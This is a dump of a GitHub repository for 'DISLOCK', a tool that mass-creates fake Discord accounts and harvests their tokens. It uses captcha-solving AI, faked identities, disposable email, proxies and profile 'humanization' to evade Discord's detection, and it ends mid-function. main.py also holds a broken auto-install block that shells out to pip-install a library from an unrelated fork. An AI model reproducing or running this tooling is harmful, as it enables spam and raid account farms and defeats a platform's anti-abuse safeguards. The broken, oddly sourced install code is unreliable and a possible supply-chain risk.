Inbox: 81 | def __init__(self, address, token): 82 | # make the propertys immutable using @property 83 | self._address = address 84 | self._token = token 85 | 86 | @property 87 | def address(self): 88 | return self._address 89 | 90 | @property 91 | def token(self): 92 | return self._token 93 | 94 | def __repr__(self): 95 | return ("Inbox (address={}, token={} )".format(self.address, self.token)) 96 | -------------------------------------------------------------------------------- /Version 1/requirements.txt: -------------------------------------------------------------------------------- 1 | httpx~=0.23.0 2 | playwright~=1.22.0 3 | playwright-stealth~=1.0.5 4 | numpy>=1.22 5 | scipy~=1.7.3 6 | random-user-agent~=1.0.1 7 | discum~=1.4.1 8 | tempmail-lol~=1.1.0 9 | validators 10 | 11 | # AI Requirements 12 | pyyaml~=6.0 13 | scikit-image~=0.19.2 14 | opencv-python~=4.5.5.62 15 | -------------------------------------------------------------------------------- /Version 2.3/README.md: -------------------------------------------------------------------------------- 1 | # DISLOCK v2.3 2 | 3 | DISLOCK is the most advanced Discord Browser Generator. 4 | 5 | It is capable of generating Unlocked Tokens for free by Using AI. 6 | DISLOCK is currently undetected by Discord because its Human Emulation. 7 | 8 | You will have to use HQ Proxies/IPs to get unlocked tokens. 9 | 10 | ## Features 11 | 12 | - TokenGenerator on discord.com [Almost always Unlocked] 13 | - TokenGenerator on discord.com/register [Mostly Unlocked] 14 | - Captcha Tester on hcaptcha.com 15 | 16 | ## Demo Videos 17 | 18 | ### Unclaimed Generator 19 | https://streamable.com/4wvhdw 20 | 21 | ### Normal Generator 22 | https://streamable.com/w9l2fz 23 | 24 | ## Proxies 25 | 26 | You will have to use HQ Proxies/IPs to get Unlocked Tokens. 27 | If you really want to generate proxies, you maight have to spend fairly big amounts of money, to get undetected/unflagged IPs. 28 | If you just want to test the Generator, you can also just restart your InternetRouter (if you have a rotating IP) and Discord wont notice. 29 | 30 | (Btw your Proxy AD can stand here, DM me for offers ;d ;:D) 31 | 32 | ## Botright 33 | 34 | This bot uses Botright, my Browser Automation Package. You can check it out [here](https://github.com/Vinyzu/Botright). 35 | 36 | I would appreciate a star on this project aswell and hope that youll have fun creating your own bots with it! 37 | 38 | 39 | ## Installation 40 | 41 | ### Installing DISLOCK with Python 42 | 43 | ```bash 44 | git clone https://github.com/Vinyzu/DiscordGenerator DISLOCK 45 | cd DISLOCK 46 | pip install -r requirements.txt 47 | playwright install 48 | python main.py 49 | ``` 50 | 51 | ### Further Requirements 52 | 53 | - Windows 54 | 55 | - [Git](https://git-scm.com/downloads) (To install DISLOCK) 56 | - [Pip](https://pip.pypa.io/en/stable/installation/) (To install DISLOCK) 57 | 58 | ## Using 59 | 60 | Type | Recommended Usage | 61 | :------- | :------------------------- | 62 | | `Token Generator` | Generating HQ token (sometimes) locked the classic way | 63 | | `Unclaimed Generator` | Generating Unclaimed, HQ (mostly) unlocked tokens | 64 | | `Captcha Tester` | Testing the CaptchaAI on hCaptcha.com | 65 | 66 | ##### Usages will be updated when Discord fixxes Modes 67 | 68 | ## Contributing 69 | 70 | Contributions are always welcome! 71 | 72 | See [Contributing](https://github.com/Vinyzu/DiscordGenerator/blob/main/contributing.md) for ways to get started. 73 | 74 | 75 | ## To the Skids 76 | 77 | Hello, skid. I know its in your nature to laboriously copy and paste this project and sell it as yours. And i can´t 100% prevent that. However, legally you aren´t allowed to share your skidded DISLOCK other than the source code. And i know that you give a fuck about Licenses and Copyright, but if you gonna use this code as yours and don´t mark me as the original author, i can assure you that you won´t have a good time selling this ;d. 78 | 79 | ## Copyright and License 80 | © [Vinyzu](https://github.com/Vinyzu/) 81 | 82 | [GNU GPL](https://choosealicense.com/licenses/gpl-3.0/) 83 | 84 | (Commercial Usage is allowed, but source, license and copyright has to made available. DISLOCK does not provide and Liability or Warranty) 85 | 86 | ## Authors 87 | 88 | - [@Vinyzu](https://github.com/Vinyzu) 89 | 90 | `If you appreciate this Repository, I would love to see you star and share this. It took a lot of effort and time to code all of those features and i originally planned to sell this project, so I´m "wasting" money for everyone´s fun ;:D.` 91 | 92 | 93 | 94 | [![mjolnir-discord](https://img.shields.io/badge/Mjolnir_Discord-000?style=for-the-badge&logo=discord&logoColor=white)](https://discord.gg/rpd4gzrqGN) 95 | [![my-discord](https://img.shields.io/badge/My_Discord-000?style=for-the-badge&logo=google-chat&logoColor=blue)](https://discordapp.com/users/935224495126487150) 96 | [![buy-me-a-coffee](https://img.shields.io/badge/Buy_Me_A_Coffee-000?style=for-the-badge&logo=ko-fi&logoColor=brown)](https://ko-fi.com/vinyzu) 97 | 98 | 99 | ## Thanks to 100 | 101 | [QIN2DIM](https://github.com/QIN2DIM/) (For his great AI work.) 102 | 103 | [MaxAndolini](https://github.com/MaxAndolini) (For shared knowledge of hCaptcha bypassing) 104 | 105 | [Dönerbäcker](https://github.com/DoenerBaecker) (For Proxies) 106 | 107 | 108 | ![Version](https://img.shields.io/badge/DISLOCK-v2.3-blue) 109 | ![License](https://img.shields.io/badge/License-GNU%20GPL-green) 110 | ![Python](https://img.shields.io/badge/Python-v3.x-lightgrey) 111 | ![Platforms](https://img.shields.io/badge/Platform-win--32%20%7C%20win--64-lightgrey) 112 | -------------------------------------------------------------------------------- /Version 2.3/changelog.md: -------------------------------------------------------------------------------- 1 | # Changelog 2 | 3 | Every new change will be logged 4 | 5 | ## v2.3 6 | ``` 7 | + Closing PopUps after Generation 8 | + Better ErrorHandling 9 | ``` 10 | 11 | ## v2.2 12 | ``` 13 | + Fixxed Bug causing /register Gen not clicking Tos-Checkbox 14 | + Updated Email Claiming to be manual (not request) 15 | ``` 16 | 17 | ## v2.1 18 | ``` 19 | + Changed Checkbox Locator 20 | + Uodated LockCheck to work now 21 | + More LockChecking in EmailVerifier 22 | + More Sleeping whilst verifying Mail 23 | ``` 24 | 25 | ## v2.0 26 | ``` 27 | + Using Botright now 28 | + Updated Joiner and Humanization to be undetected 29 | + More small changes 30 | ``` 31 | 32 | ## v1.0.6 33 | ``` 34 | + Updated AI to support newest Tasks 35 | + Updated Avatar Function (should work now ig lol) 36 | + New IP-API (hopefully will fix ProxyIssues) 37 | + Added ServerJoiner (Wasnt tested enough to say its 100% stable) 38 | 39 | + Updated InviteLink in ReadMe 40 | 41 | ``` 42 | 43 | ## v1.0.5 44 | ``` 45 | + Fixxed To Low Password Security 46 | + Fixxed self.person error 47 | + Changed IP Provider (Hopefully Fixxes Proxy Errors) 48 | + Rewrote ProxyCheck Invalid Error 49 | 50 | ``` 51 | 52 | ## v1.0.4 53 | ``` 54 | + Tokens will now be saved even when the gen crashes 55 | + OutputFormat can now be set 56 | + Passwords now dont have ":" in them anymore (Messed up output format) 57 | + Delete verify=False in requests (caused warnings) 58 | + Fixxed Issue that NormalGenerator would save tempmail even when EmailVerification was disabled. 59 | 60 | ``` 61 | 62 | ## v1.0.3 63 | ``` 64 | + Raised Timeouts to allow slow proxies to work properly 65 | + Changed usage of TempmailAPI from package to local file 66 | + Updated AI to check images three times for any valid images 67 | + Replaced Httpx with Requests 68 | 69 | ``` 70 | 71 | ## v1.0.2 72 | ``` 73 | + Updated Model Downloader (httpx doesnt work) 74 | --> Now, Models dont have to be given in the repo 75 | + Updated Proxy Class (Splitter) and general proxy-object handling 76 | 77 | ``` 78 | 79 | ## v1.0.1 80 | ``` 81 | + Updated various Proxy Handlers 82 | + Updated MailVerifier to wait until the new token is received 83 | + Updated smooth_out_mouse() to fix https://github.com/Vinyzu/DiscordGenerator/issues/3 by adding an extra point 84 | + Updated DISCUM Client to reduce code amount and allow proxies to work 85 | 86 | ``` 87 | 88 | ## v1.0 89 | ``` 90 | + First Commit 91 | ``` -------------------------------------------------------------------------------- /Version 2.3/contributing.md: -------------------------------------------------------------------------------- 1 | Contributing 2 | ============ 3 | If you want to contribute to a project and make it better, your help is very welcome. Contributing is also a great way to learn more about social coding on Github, new technologies and and their ecosystems and how to make constructive, helpful bug reports, feature requests and the noblest of all contributions: a good, clean pull request. 4 | 5 | ### How to make a clean pull request 6 | 7 | Look for a project's contribution instructions. If there are any, follow them. 8 | 9 | - Create a personal fork of the project on Github. 10 | - Clone the fork on your local machine. Your remote repo on Github is called `origin`. 11 | - Add the original repository as a remote called `upstream`. 12 | - If you created your fork a while ago be sure to pull upstream changes into your local repository. 13 | - Create a new branch to work on! Branch from `develop` if it exists, else from `master`. 14 | - Implement/fix your feature, comment your code. 15 | - Follow the code style of the project, including indentation. 16 | - If the project has tests run them! 17 | - Write or adapt tests as needed. 18 | - Add or change the documentation as needed. 19 | - Squash your commits into a single commit with git's [interactive rebase](https://help.github.com/articles/interactive-rebase). Create a new branch if necessary. 20 | - Push your branch to your fork on Github, the remote `origin`. 21 | - From your fork open a pull request in the correct branch. Target the project's `develop` branch if there is one, else go for `master`! 22 | - … 23 | - If the maintainer requests further changes just push them to your branch. The PR will be updated automatically. 24 | - Once the pull request is approved and merged you can pull the changes from `upstream` to your local repo and delete 25 | your extra branch(es). 26 | 27 | And last but not least: Always write your commit messages in the present tense. Your commit message should describe what the commit, when applied, does to the code – not what you did to the code. 28 | 29 | `Source: https://github.com/MarcDiethelm/contributing` -------------------------------------------------------------------------------- /Version 2.3/main.py: -------------------------------------------------------------------------------- 1 | # PreInstalled PyPackages 2 | import asyncio 3 | import logging 4 | import os 5 | import random 6 | import traceback 7 | 8 | # Pip Install Packages 9 | import botright 10 | import httpx 11 | import validators 12 | 13 | 14 | # Auto Import Installer 15 | try: 16 | import botright, threading, random, time, sys 17 | self.logger.info("Imports successful!") 18 | time.sleep(1) 19 | 20 | except: 21 | self.logger.info("\nImports failed! Trying to install...") 22 | z = "python -m pip install "; os.system("%sgit+`'https://github.com/FuckingToasters/Botright'" % (z)); os.system('%shttpx' % (z)); os.system('%svalidators=0.20.0' % (z)); os.system('%sthreading' % (z)); os.system('%sos-sys' % (z))) 23 | print(f"\n{Fore.MAGENTA}[{Fore.RESET}!{Fore.MAGENTA}] {Fore.RESET}Imports successful!") 24 | time.sleep(1) 25 | 26 | # Imports from Files 27 | from modules.discord import Discord 28 | from modules.tempmail import TempMail 29 | 30 | class Generator: 31 | async def initialize(self, botright_client, proxy, mode=None, output_file="output.txt", email=True, humanize=True, output_format="token:email:pass", invite_link=""): 32 | # Initializing the Thread 33 | self.output_file, self.output_format = output_file, output_format 34 | self.email_verification, self.humanize, self.invite_link = email, humanize, invite_link 35 | self.token, self.email, self.output = "", "", "" 36 | # SettingUp Logger 37 | logging.basicConfig( 38 | format='\033[34m[%(levelname)s] - \033[94mLine %(lineno)s - \033[36m%(funcName)s() - \033[96m%(message)s\033[0m') 39 | self.logger = logging.getLogger('logger') 40 | self.logger.setLevel(logging.DEBUG) 41 | 42 | # Initializing Browser and Page 43 | self.browser = await botright_client.new_browser(proxy) 44 | self.logger.info("Spawned Browser successfully") 45 | 46 | self.page = await self.browser.new_page() 47 | 48 | if mode == 1: 49 | await self.generate_unclaimed() 50 | elif mode == 2: 51 | await self.generate_token() 52 | elif mode == 3: 53 | await self.check_captcha() 54 | return 55 | 56 | # Helper Functions 57 | async def log_token(self): 58 | async def check_json(route, request): 59 | await route.continue_() 60 | try: 61 | response = await request.response() 62 | await response.finished() 63 | json = await response.json() 64 | if json.get("token"): 65 | self.token = json.get("token") 66 | except Exception: 67 | pass 68 | 69 | await self.page.route("https://discord.com/api/**", check_json) 70 | 71 | def log_output(self): 72 | output = "" 73 | for item in self.output_format.split(":"): 74 | if "token" in item and self.token: 75 | output += self.token + ":" 76 | if "email" in item and self.email: 77 | output += self.email + ":" 78 | if "pass" in item: 79 | output += self.browser.faker.password + ":" 80 | if "proxy" in item and self.browser.proxy: 81 | output += self.browser.proxy + ":" 82 | 83 | # Remove last : 84 | output = output[:-1] 85 | self.output = output 86 | 87 | async def close(self): 88 | try: 89 | await self.page.close() 90 | except: 91 | pass 92 | try: 93 | await self.browser.close() 94 | except: 95 | pass 96 | 97 | # Main Functions 98 | async def generate_unclaimed(self): 99 | try: 100 | # Going on Discord Register Site 101 | try: 102 | await self.page.goto("https://discord.com/") 103 | except: 104 | self.logger.error("Site didn´t load") 105 | await self.close() 106 | return False 107 | # Setting Up TokenLog 108 | await self.log_token() 109 | # Click Open InBrowser Button 110 | await self.page.click('[class *= "gtm-click-class-open-button"]') 111 | # Typing Username 112 | await self.page.type('[class *= "username"]', self.browser.faker.username) 113 | # Clicking Tos and Submit Button 114 | try: 115 | await self.page.click("[class *= 'checkbox']", timeout=10000) 116 | except Exception as e: 117 | self.logger.debug("No TOS Checkbox was detected") 118 | pass 119 | await self.page.click('[class *= "gtm-click-class-register-button"]') 120 | 121 | # Solving Captcha 122 | await self.page.solve_hcaptcha() 123 | 124 | while not self.token: 125 | await self.page.wait_for_timeout(2000) 126 | 127 | self.logger.info(f"Generated Token: {self.token}") 128 | await self.page.wait_for_timeout(2000) 129 | 130 | is_locked = await Discord.is_locked(self) 131 | if is_locked: 132 | self.logger.error(f"Token {self.token} is locked!") 133 | await self.close() 134 | return 135 | else: 136 | self.logger.info(f"Token: {self.token} is unlocked! Flags: {self.flags}") 137 | 138 | self.log_output() 139 | 140 | await self.page.wait_for_timeout(3000) 141 | try: 142 | await self.page.type('[id="react-select-2-input"]', self.browser.faker.birth_day) 143 | await self.page.keyboard.press("Enter") 144 | await self.page.type('[id="react-select-3-input"]', self.browser.faker.birth_month) 145 | await self.page.keyboard.press("Enter") 146 | await self.page.type('[id="react-select-4-input"]', self.browser.faker.birth_year) 147 | await self.page.keyboard.press("Enter") 148 | await self.page.wait_for_timeout(1000) 149 | await self.page.keyboard.press("Enter") 150 | except: 151 | pass 152 | 153 | # Closing PopUps 154 | for _ in range(2): 155 | try: 156 | await self.page.click("[class *= 'closeButton']", timeout=5000) 157 | except: 158 | pass 159 | 160 | if self.email_verification: 161 | self.inbox = TempMail.generateInbox() 162 | self.logger.info("Claiming Account...") 163 | await Discord.set_email(self, self.inbox.address) 164 | 165 | await self.page.wait_for_timeout(2000) 166 | 167 | self.logger.info("Verifying email...") 168 | await Discord.confirm_email(self) 169 | 170 | self.log_output() 171 | 172 | await self.page.wait_for_timeout(2000) 173 | 174 | if self.humanize: 175 | await Discord.humanize_token(self) 176 | 177 | await self.page.wait_for_timeout(2000) 178 | 179 | if self.invite_link: 180 | await Discord.join_server(self) 181 | 182 | self.log_output() 183 | with open(self.output_file, 'a') as file: 184 | file.write(f"{self.output}\n") 185 | 186 | self.logger.info("Successfully Generated Account! Closing Browser...") 187 | 188 | await self.close() 189 | 190 | # Catch Exceptions and save output anyways 191 | except: 192 | self.logger.error(f"Catched Exception, trying to save Token anyways... \n Error: \n {traceback.format_exc()}") 193 | if self.output: 194 | with open(self.output_file, 'a') as file: 195 | file.write(f"{self.output}\n") 196 | 197 | async def generate_token(self): 198 | try: 199 | # Going on Discord Register Site 200 | try: 201 | await self.page.goto("https://discord.com/register") 202 | except: 203 | self.logger.error("Site didn´t load") 204 | await self.close() 205 | return False 206 | # Setting Up TokenLog 207 | await self.log_token() 208 | # Typing Email, Username, Password 209 | self.email = f"{self.browser.faker.username}{random.randint(10, 99)}@gmail.com" 210 | 211 | if self.email_verification: 212 | self.inbox = TempMail.generateInbox() 213 | self.email = self.inbox.address 214 | await self.page.type('[name="email"]', self.email) 215 | await self.page.type('[name="username"]', self.browser.faker.username) 216 | await self.page.type('[name="password"]', self.browser.faker.password) 217 | # Typing BirthDay, BirthMonth, BirthYear 218 | await self.page.type('[id="react-select-2-input"]', self.browser.faker.birth_day) 219 | await self.page.keyboard.press("Enter") 220 | await self.page.type('[id="react-select-3-input"]', self.browser.faker.birth_month) 221 | await self.page.keyboard.press("Enter") 222 | await self.page.type('[id="react-select-4-input"]', self.browser.faker.birth_year) 223 | # Clicking Tos and Submit Button 224 | try: 225 | tos_box = self.page.locator("[type='checkbox']").first 226 | await tos_box.click() 227 | except Exception as e: 228 | self.logger.debug("No TOS Checkbox was detected") 229 | pass 230 | await self.page.click('[type="submit"]') 231 | 232 | await self.page.solve_hcaptcha() 233 | 234 | while not self.token: 235 | await self.page.wait_for_timeout(2000) 236 | 237 | self.logger.info(f"Generated Token: {self.token}") 238 | await self.page.wait_for_timeout(2000) 239 | 240 | is_locked = await Discord.is_locked(self) 241 | if is_locked: 242 | self.logger.error(f"Token {self.token} is locked!") 243 | await self.close() 244 | return 245 | else: 246 | self.logger.info( 247 | f"Token: {self.token} is unlocked! Flags: {self.flags}") 248 | 249 | self.log_output() 250 | 251 | await self.page.wait_for_timeout(2000) 252 | 253 | # Closing PopUps 254 | for _ in range(2): 255 | try: 256 | await self.page.click("[class *= 'closeButton']", timeout=5000) 257 | except: 258 | pass 259 | 260 | if self.email_verification: 261 | self.logger.info("Verifying email...") 262 | await Discord.confirm_email(self) 263 | 264 | self.log_output() 265 | 266 | await self.page.wait_for_timeout(2000) 267 | 268 | if self.humanize: 269 | await Discord.humanize_token(self) 270 | 271 | await self.page.wait_for_timeout(2000) 272 | 273 | if self.invite_link: 274 | await Discord.join_server(self) 275 | 276 | self.log_output() 277 | with open(self.output_file, 'a') as file: 278 | file.write(f"{self.output}\n") 279 | 280 | self.logger.info( 281 | "Successfully Generated Account! Closing Browser...") 282 | 283 | await self.close() 284 | 285 | # Catch Exceptions and save output anyways 286 | except: 287 | self.logger.error(f"Catched Exception, trying to save Token anyways... \n Error: \n{traceback.format_exc()}") 288 | if self.output: 289 | with open(self.output_file, 'a') as file: 290 | file.write(f"{self.output}\n") 291 | 292 | # Testing (Maybe used later?) 293 | async def login_token(self): 294 | # Going on Discord Register Site 295 | try: 296 | await self.page.goto("https://discord.com/register") 297 | except: 298 | self.logger.error("Site didn´t load") 299 | return False 300 | await self.page.evaluate(str('setInterval(() => {document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"' + self.token + '"`}, 2500); setTimeout(() => {location.reload();}, 2500);')) 301 | await self.page.wait_for_timeout(5000) 302 | 303 | if self.email_verification: 304 | self.inbox = TempMail.generateInbox() 305 | self.logger.info("Claiming Account...") 306 | await Discord.set_email(self, self.inbox.address) 307 | await self.page.wait_for_timeout(2000) 308 | self.logger.info("Verifying email...") 309 | await Discord.confirm_email(self) 310 | # self.log_output() 311 | # await self.page.wait_for_timeout(2000) 312 | # if self.humanize: 313 | # await Discord.humanize_token(self) 314 | # await self.page.wait_for_timeout(2000) 315 | if self.invite_link: 316 | await Discord.join_server(self) 317 | self.log_output() 318 | with open(self.output_file, 'a') as file: 319 | file.write(f"{self.output}\n") 320 | self.logger.info("Successfully Generated Account! Closing Browser...") 321 | await self.close() 322 | 323 | 324 | async def main(): 325 | botright_client = await botright.Botright(headless=False) 326 | print(""" _____ __ ______ __ ______ ______ __ __ 327 | /\ __-. /\ \ /\ ___\ /\ \ /\ __ \ /\ ___\ /\ \/ / 328 | \ \ \/\ \ \ \ \ \ \___ \ \ \ \____ \ \ \/\ \ \ \ \____ \ \ _"-. 329 | \ \____- \ \_\ \/\_____\ \ \_____\ \ \_____\ \ \_____\ \ \_\ \_\\ 330 | \/____/ \/_/ \/_____/ \/_____/ \/_____/ \/_____/ \/_/\/_/ | Made by Vinyzu 331 | | https://github.com/Vinyzu/DiscordGenerator""") 332 | 333 | mode = input("[Select] - [Generation Mode]\n" + "<1> Generate Unclaimed Token\n" + "<2> Generate Token\n" + "<3> Test Captcha\n" + " ") 334 | if mode not in ("1", "2", "3"): 335 | raise ValueError("Invalid Mode provided") 336 | else: 337 | mode = int(mode) 338 | 339 | if mode in (1, 2): 340 | email = input("[Select] - [Email Verification]\n" + "<1> Verification Enabled\n" + 341 | "<2> No Verification\n" + " ") 342 | if email not in ("1", "2"): 343 | raise ValueError("Invalid Mode provided") 344 | else: 345 | email = True if email == "1" else False 346 | else: 347 | email = False 348 | 349 | if mode in (1, 2): 350 | humanize = input("[Select] - [Token Humanization]\n" + "<1> Humanization Enabled\n" + 351 | "<2> No Humanization\n" + " ") 352 | if humanize not in ("1", "2"): 353 | raise ValueError("Invalid Mode provided") 354 | else: 355 | humanize = True if humanize == "1" else False 356 | else: 357 | humanize = False 358 | 359 | threads = input("[Input] - [Threads Amount]\n" + " ") 360 | try: 361 | threads = int(threads) 362 | except: 363 | raise ValueError("Invalid ThreadAmount provided") 364 | 365 | proxy_file = input("[Drag&Drop] - [Proxy File]\n" + 366 | " Or Leave empty for Proxyless Mode\n" + " ").replace('"', "") 367 | if proxy_file: 368 | if not os.path.isfile(proxy_file): 369 | raise ValueError("Provided ProxyPath isnt a file!") 370 | proxies = open(proxy_file, 'r').readlines() 371 | else: 372 | proxies = None 373 | 374 | output_file = input("[Drag&Drop] - [Output File]\n" + 375 | " Or Leave empty to use output.txt\n" + " ").replace('"', "") 376 | if output_file: 377 | if not os.path.isfile(output_file): 378 | raise ValueError("Provided OutputPath isnt a file!") 379 | else: 380 | output_file = "output.txt" 381 | 382 | invite = input("[Input] - [Invite Link]\n" + 383 | " Either parse a InviteLink, or an InviteCode\n" + " ") 384 | 385 | if not validators.url(invite) and invite: 386 | invite_link = f"https://discord.gg/{invite}" 387 | if not validators.url(invite_link) or not httpx.get(f"https://discordapp.com/api/v8/invites/{invite}").is_success: 388 | raise ValueError(f"Invalid InviteLink: {invite}") 389 | else: 390 | invite_code = invite.split("/")[-1] 391 | if invite and not httpx.get(f"https://discordapp.com/api/v8/invites/{invite_code}").is_success: 392 | raise ValueError(f"Invalid InviteLink: {invite}") 393 | invite_link = invite 394 | 395 | output_format = input("[Input] - [Output Format]\n" + 396 | " Token: token, Email: email, Password: pass, Proxy: proxy\n" + 397 | " Leave empty for standart output: token:email:pass\n" + " ") 398 | if not output_format: 399 | output_format = "token:email:pass" 400 | for item in output_format.split(":"): 401 | if item not in ["token", "email", "pass", "proxy"]: 402 | raise ValueError(f"Invalid OutputItem: {item}") 403 | 404 | os.system('cls' if os.name == 'nt' else 'clear') 405 | 406 | try: 407 | while True: 408 | threadz = [] 409 | for _ in range(threads): 410 | proxy = random.choice(proxies) if proxies else None 411 | threadz.append(Generator().initialize(botright_client, proxy, mode, output_file, email, humanize, output_format, invite_link)) 412 | 413 | await asyncio.gather(*threadz) 414 | except KeyboardInterrupt: 415 | await botright_client.close() 416 | except Exception: 417 | print(traceback.format_exc()) 418 | await botright_client.close() 419 | 420 | 421 | if __name__ == '__main__': 422 | asyncio.run(main()) 423 | -------------------------------------------------------------------------------- /Version 2.3/modules/discord.py: -------------------------------------------------------------------------------- 1 | import random 2 | import base64 3 | import platform 4 | import re 5 | import tempfile 6 | import os 7 | 8 | import httpx 9 | 10 | from modules import tempmail 11 | 12 | res = httpx.get("https://discord.com/login").text 13 | file_with_build_num = 'https://discord.com/assets/'+re.compile(r'assets/+([a-z0-9]+)\.js').findall(res)[-2]+'.js' 14 | req_file_build = httpx.get(file_with_build_num).text 15 | index_of_build_num = req_file_build.find('buildNumber')+24 16 | DISCORD_BUILD_NUM = int(req_file_build[index_of_build_num:index_of_build_num+6]) 17 | 18 | class Discord: 19 | async def get_headers(self, payload): 20 | cookies = await self.browser.cookies() 21 | __dcfduid = [item for item in cookies if item['name'] == "__dcfduid"][0]["value"] 22 | __sdcfduid = [item for item in cookies if item['name'] == "__sdcfduid"][0]["value"] 23 | cookies = f"__dcfduid={__dcfduid}; __sdcfduid={__sdcfduid}" 24 | 25 | super_props = {"os": platform.system(), "browser":"Firefox", "release_channel":"stable", "client_version": self.browser.browser.version, "os_version": str(platform.version()), "os_arch": "x64" if platform.machine().endswith('64') else "x86", "system_locale": self.browser.faker.locale, "client_build_number": DISCORD_BUILD_NUM, "client_event_source": None} 26 | super_props = base64.b64encode(str(super_props).encode()).decode() 27 | 28 | headers = { 29 | "accept": "*/*", 30 | "accept-encoding": "gzip, deflate, br", 31 | "accept-language": "de,de-DE;q=0.9", 32 | "authorization": self.token, 33 | "content-length": str(len(str(payload))), 34 | "content-type": "application/json", 35 | "cookie": cookies, 36 | "origin": "https://discord.com", 37 | "referer": "https://discord.com/channels/@me", 38 | "sec-fetch-dest": "empty", 39 | "sec-fetch-mode": "cors", 40 | "sec-fetch-site": "same-origin", 41 | "user-agent": self.browser.faker.useragent, 42 | "x-discord-locale": "en", 43 | "x-super-properties": super_props, 44 | } 45 | return headers 46 | 47 | async def humanize_token(self): 48 | await self.page.goto("https://discord.com/channels/@me") 49 | await self.page.wait_for_timeout(1000) 50 | # Clicking Settings Button 51 | settings_button = self.page.locator('[class *= "button-12Fmur"]').last 52 | await settings_button.click() 53 | # Click Profile Button 54 | await self.page.wait_for_timeout(500) 55 | profile_button = self.page.locator('[class *= "item-3XjbnG"]').nth(6) 56 | await profile_button.click() 57 | 58 | await self.page.wait_for_timeout(random.randint(2000, 3000)) 59 | 60 | # Setting Random Avatar 61 | pics = httpx.get("https://api.github.com/repos/itschasa/Discord-Scraped/git/trees/cbd70ab66ea1099d31d333ab75e3682fd2a80cff") 62 | random_pic = random.choice(pics.json().get("tree")).get("path") 63 | pic_url = f"https://raw.githubusercontent.com/itschasa/Discord-Scraped/main/avatars/{random_pic}" 64 | pic = httpx.get(pic_url).content 65 | 66 | temp_file = tempfile.NamedTemporaryFile(suffix='.jpg', delete=False) 67 | temp_file.write(pic) 68 | temp_file.file.seek(0) # change the position to the beginning of the file 69 | 70 | self.page.on("filechooser", lambda file_chooser: file_chooser.set_files(temp_file.name)) 71 | 72 | upload_avatar_button = self.page.locator('[class *= "buttonsContainer-12kYno"]').locator('[class *= "lookFilled-yCfaCM "]') 73 | await upload_avatar_button.click() 74 | 75 | await self.page.wait_for_timeout(random.randint(500, 1000)) 76 | 77 | upload_own = self.page.locator('[class *= "file-input"]') 78 | await upload_own.click() 79 | 80 | await self.page.wait_for_timeout(random.randint(500, 1000)) 81 | confirm_button = self.page.locator('[class *= "button-f2h6uQ"]').last 82 | await confirm_button.click() 83 | 84 | temp_file.close() 85 | os.unlink(temp_file.name) 86 | 87 | 88 | await self.page.wait_for_timeout(random.randint(2000, 3000)) 89 | 90 | # Setting AboutME 91 | try: 92 | quote = httpx.get("https://free-quotes-api.herokuapp.com") 93 | quote = quote.json().get("quote") 94 | except: 95 | self.logger.warning('Couldnt Get a Random Quote, Setting "Dislock" as AboutMe') 96 | quote = "Dislock" 97 | 98 | profile_button = self.page.locator('[role="textbox"]') 99 | await profile_button.click() 100 | await self.page.keyboard.type(quote) 101 | 102 | await self.page.wait_for_timeout(random.randint(500, 1000)) 103 | confirm_button = self.page.locator('[class *= "colorGreen-3y-Z79"]').last 104 | await confirm_button.click() 105 | 106 | # Going to Hypesquad Page 107 | hypesquad_button = self.page.locator('[aria-controls="hypesquad-online-tab"]') 108 | await hypesquad_button.click() 109 | 110 | await self.page.wait_for_timeout(random.randint(5000, 6000)) 111 | 112 | # Setting Hypesquad 113 | # payload = {"house_id": random.randint(1, 3)} 114 | # headers = await Discord.get_headers(self, payload) 115 | # hypesquad = await self.page.request.post("https://discord.com/api/v9/hypesquad/online", data=payload, headers=headers) 116 | # print(await hypesquad.json()) 117 | 118 | is_locked = await Discord.is_locked(self) 119 | if is_locked: 120 | self.logger.error(f"Token {self.token} got locked whilst humanizing!") 121 | await self.close() 122 | return 123 | 124 | self.log_output() 125 | self.logger.info(f"Set Bio and ProfilePic!") 126 | 127 | async def join_server(self): 128 | await self.page.goto("https://discord.com/channels/@me") 129 | await self.page.wait_for_timeout(1000) 130 | # Clicking Join Server Button 131 | create_join_button = self.page.locator('[data-list-item-id *= "create-join-button"]') 132 | await create_join_button.click() 133 | await self.page.wait_for_timeout(500) 134 | # Clicking Join a Server Button 135 | another_server_button = self.page.locator('[class *= "footerButton-24QPis"]') 136 | await another_server_button.click() 137 | # Type Invite Code 138 | await self.page.wait_for_timeout(1000) 139 | await self.page.type("[placeholder='https://discord.gg/hTKzmak']", self.invite_link) 140 | # Clicking Join Server Button 141 | join_server_button = self.page.locator('[class *= "lookFilled-yCfaCM"]').last 142 | await join_server_button.click() 143 | 144 | try: 145 | await self.page.solve_hcaptcha() 146 | except: 147 | self.logger.info("No JoinServer Captcha detected.") 148 | 149 | is_locked = await Discord.is_locked(self) 150 | if is_locked: 151 | self.logger.error(f"Token {self.token} got locked whilst joining a Server!") 152 | await self.close() 153 | return 154 | 155 | self.log_output() 156 | self.logger.info("Joined Server successfully.") 157 | 158 | async def is_locked(self): 159 | token_check = await self.page.request.get('https://discord.com/api/v9/users/@me/library', headers={"Authorization": self.token}) 160 | token_check = token_check.status == 200 161 | if token_check: 162 | r = await self.page.request.get('https://discord.com/api/v9/users/@me', headers={"Authorization": self.token}) 163 | response = await r.json() 164 | self.id = response.get("id") 165 | self.email = response.get("email") 166 | self.username = response.get("username") 167 | self.discriminator = response.get("discriminator") 168 | self.tag = f"{self.username}#{self.discriminator}" 169 | self.flags = response.get("public_flags") 170 | 171 | return not token_check 172 | 173 | async def set_email(self, email): 174 | try: 175 | # Setting Email 176 | await self.page.goto("https://discord.com/channels/@me") 177 | await self.page.wait_for_timeout(1000) 178 | # Clicking Settings Button 179 | settings_button = self.page.locator('[class *= "button-12Fmur"]').last 180 | await settings_button.click() 181 | # Click Email Button 182 | await self.page.wait_for_timeout(500) 183 | settings_button = self.page.locator('[class *= "fieldButton-14lHvK"]').nth(1) 184 | await settings_button.click() 185 | 186 | # Typing Mail 187 | mail_input = self.page.locator('[type="text"]').last 188 | await mail_input.type(email) 189 | 190 | # Typing Password 191 | password_input = self.page.locator('[type="password"]').last 192 | await password_input.type(self.browser.faker.password) 193 | 194 | # Click Claim Button 195 | claim_button = self.page.locator('[type="submit"]').last 196 | await claim_button.click() 197 | except Exception as e: 198 | print(e) 199 | 200 | async def confirm_email(self): 201 | before_token = self.token 202 | self.logger.info("Confirming Email...") 203 | # Getting the email confirmation link from the email 204 | self.scrape_emails = True 205 | while self.scrape_emails: 206 | emails = tempmail.TempMail.getEmails(self.inbox) 207 | for mail in emails: 208 | if 